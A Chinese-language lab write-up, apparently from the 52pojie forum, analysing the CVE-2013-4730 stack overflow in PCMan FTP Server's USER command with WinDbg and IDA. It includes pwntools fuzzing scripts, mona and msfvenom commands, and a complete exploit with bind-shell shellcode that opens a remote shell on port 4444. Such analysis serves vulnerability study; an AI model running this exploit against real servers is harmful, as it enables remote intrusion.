【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析

admin 2021年4月19日00:02:08评论176 views字数 4992阅读16分38秒阅读模式

作者坛账号:hqz66


PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析

一、漏洞信息

1. 漏洞简述

  • 漏洞名称:PCMan FTP Server远程缓冲区溢出

  • 漏洞编号:CVE-2013-4730

  • 漏洞类型:缓冲区溢出

  • 漏洞影响:远程代码执行

  • 利用难度:Easy

  • 详细信息:https://www.exploit-db.com/exploits/26471

    2. 软件概述

PCMan FTP Server用于打开ftp服务,用于上传文件和管理有线及无线设备的软件

二、漏洞复现

1. 环境搭建

  • 靶机环境:Windows xp sp3

  • 靶机配置:

    • PCMan FTP Server 2.0.7

    • windbg

    • mona

  • 攻击机:kali 2.0

  • 攻击机配置:

    • pwntools

    • metasploit

2. 复现过程

在靶机中运行PCMan FTP,确保21号端口已打开,用windbg附加程序

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


由漏洞的exploit可以得知USER字段存在溢出漏洞,编写poc并在 kali 中运行测试

 复制代码 隐藏代码
from pwn import *
context(log_level="debug")
io = remote("192.168.112.146", 21)
print(io.recv())
#使用pwntools的cyclic函数构造唯一子串序列
fuzz = flat("USER ", cyclic(8000))
io.sendline(fuzz)
print(io.recv())

windbg查看pcman ftp的运行状态,发现eip指向了0x7561617a非法地址,程序崩溃

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


观察栈帧结构,栈已被poc发送的数据填满,可以确定存在缓冲区溢出漏洞

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


三、漏洞分析

1. 背景知识

最简单的缓冲区溢出,分析这个漏洞主要熟悉一下用windbg进行栈回溯

2. 分析思路

思路一

ftp作为网络通信协议,客户端与浏览器进行交互使用socket,那么一定使用了recv()函数,在windbg中对recv()函数下断点,发送poc并单步跟踪,能够找到漏洞函数

思路二

栈回溯:在触发漏洞的内存地址下断点,触发漏洞时观察栈帧的结构,能够找到漏洞函数的地址。这是本文分析使用的方法

3.详细分析

查看触发栈溢出漏洞时的栈帧结构,那么溢出的数据就不能覆盖函数返回地址,就要确定返回地址的位置:发送poc后,eip指向返回地址0x7561617a

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


在利用pwntools的cyclic_find()函数查看0x7561617a在唯一子串序列中的位置,可以确定返回地址在序列的位置为2000(这也是为什么poc使用cyclic生成字符串的原因)

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


重新发送poc字符串

 复制代码 隐藏代码
fuzz = flat("USER ", cyclic(2000), 'aaaa')

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


此时返回地址已被‘aaaa’覆盖,令进程在覆盖返回地址之前断下,选择栈中返回地址之前设置硬件条件断点,这里我选择0x0012ed98

 复制代码 隐藏代码
ba w4 0x0012ed98 ".if(poi(0x0012ed98)==0x74616174){}.else{gc}"

重新发送poc后进程在0x004173af出断下,kb查看栈信息

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


栈回溯,利用IDA查看造成缓冲区赋值的函数

0x00417428处函数write_char(),向指针地址写入一个字节的数据,地址赋值不可能只写一个字节,一定有一个函数循环调用write_char()

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


上一层0x00412ced,sprintf函数,继续返回上一层0x00403EE6,即sub_403E60()函数

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


这里使用sprintf向Buffer缓冲区赋值

sprintf第二个参数aDDD02d02d05dSS是格式化格式%d/%d/%d [%02d:%02d] (%05d) %s> %s

格式化参数v5是int类型,a2是函数参数char *类型

猜想:是没有控制用户的输入长度,直接将字符串a2复制到局部变量缓冲区buffer导致栈溢出

验证,在.text:00403EE6 E8 D4 ED 00 00    call    _sprintf设置断点,查看参数a2

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


查看0012edc4的值,确定是用户的输入字符串,猜想正确

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


这里格式化获取系统时间,并将数据写入文件,可能是为了记录信息到日志中,查看PCMan ftp的日志文件,更加确认了我们的猜想

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


四、漏洞利用

1. 利用条件

靶机windows xp sp3关闭DEP保护,使栈上的数据可执行

2. 利用过程

2.1 排除坏字符

利用mona插件生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可

 复制代码 隐藏代码
!py mona bytearray -b "x00x0ad"
 复制代码 隐藏代码
from pwn import *
context(log_level="debug")

bytearray = (
"x01x02x03x04x05x06x07x08x09x0bx0cx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21x22"
"x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42"
"x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62"
"x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82"
"x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2"
"xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2"
"xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2"
"xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff")

io = remote("192.168.112.146", 21)
print(io.recv())
payload = flat("USER ", cyclic(2000), 'aaaa', bytearray)
io.sendline(payload)
print(io.recv())

2.2 查找jmp esp命令

使进程跳转到栈中执行用jmp esp指令,查询加载模块中jmp esp的地址,机器码 xffxe4

 复制代码 隐藏代码
!py mona find -s "xffxe4" -m

选择一个拥有可执行权限EXECUTE的地址

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


2.3 生成shellcode

利用metasploit生成windows反弹shell的shellcode,开放本地端口4444,排除坏数据’x00x0ax0d’,以py格式输出,同时开头由0x20个nop作为滑板

 复制代码 隐藏代码
msfvenom -p windows/shell_bind_tcp LPORT=4444 -b 'x00x0ax0d'  -n 0x20 -f py

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


2.4 编写exploit

 复制代码 隐藏代码
from pwn import *
context(log_level="debug")

buf =  b""
buf += b"x92x40x9fx93x91x93x41x49x4ax37x3fx9bx93"
buf += b"x43x4axf9x4ax91x42x9fx49x41xf8x9fxf5x4a"
buf += b"x92xfdx98x92x93x41xbax73xe1xfax7exdbxdb"
buf += b"xd9x74x24xf4x58x31xc9xb1x53x83xe8xfcx31"
buf += b"x50x0ex03x23xefx18x8bx3fx07x5ex74xbfxd8"
buf += b"x3fxfcx5axe9x7fx9ax2fx5axb0xe8x7dx57x3b"
buf += b"xbcx95xecx49x69x9ax45xe7x4fx95x56x54xb3"
buf += b"xb4xd4xa7xe0x16xe4x67xf5x57x21x95xf4x05"
buf += b"xfaxd1xabxb9x8fxacx77x32xc3x21xf0xa7x94"
buf += b"x40xd1x76xaex1axf1x79x63x17xb8x61x60x12"
buf += b"x72x1ax52xe8x85xcaxaax11x29x33x03xe0x33"
buf += b"x74xa4x1bx46x8cxd6xa6x51x4bxa4x7cxd7x4f"
buf += b"x0exf6x4fxabxaexdbx16x38xbcx90x5dx66xa1"
buf += b"x27xb1x1dxddxacx34xf1x57xf6x12xd5x3cxac"
buf += b"x3bx4cx99x03x43x8ex42xfbxe1xc5x6fxe8x9b"
buf += b"x84xe7xddx91x36xf8x49xa1x45xcaxd6x19xc1"
buf += b"x66x9ex87x16x88xb5x70x88x77x36x81x81xb3"
buf += b"x62xd1xb9x12x0bxbax39x9axdex57x31x3dxb1"
buf += b"x45xbcxfdx61xcax6ex96x6bxc5x51x86x93x0f"
buf += b"xfax2fx6exb0x15xecxe7x56x7fx1cxaexc1x17"
buf += b"xdex95xd9x80x21xfcx71x26x69x16x45x49x6a"
buf += b"x3cxe1xddxe1x53x35xfcxf5x79x1dx69x61xf7"
buf += b"xccxd8x13x08xc5x8axb0x9bx82x4axbex87x1c"
buf += b"x1dx97x76x55xcbx05x20xcfxe9xd7xb4x28xa9"
buf += b"x03x05xb6x30xc1x31x9cx22x1fxb9x98x16xcf"
buf += b"xecx76xc0xa9x46x39xbax63x34x93x2axf5x76"
buf += b"x24x2cxfax52xd2xd0x4bx0bxa3xefx64xdbx23"
buf += b"x88x98x7bxcbx43x19x8bx86xc9x08x04x4fx98"
buf += b"x08x49x70x77x4ex74xf3x7dx2fx83xebxf4x2a"
buf += b"xcfxabxe5x46x40x5ex09xf4x61x4b"

io = remote("192.168.112.146", 21)
print(io.recv())
payload = flat("USER ", cyclic(2000), 0x77f8b227, buf)
io.sendline(payload)
print(io.recv())

在攻击机发送exploit,连接靶机4444端口成功

【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析


五、参考文献

  • https://www.exploit-db.com/exploits/26471

  • https://www.cnblogs.com/cnsec/p/13286514.html


--

www.52pojie.cn


--

pojie_52

本文始发于微信公众号(吾爱破解论坛):【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月19日00:02:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞分析】PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析http://cn-sec.com/archives/338337.html

发表评论

匿名网友 填写信息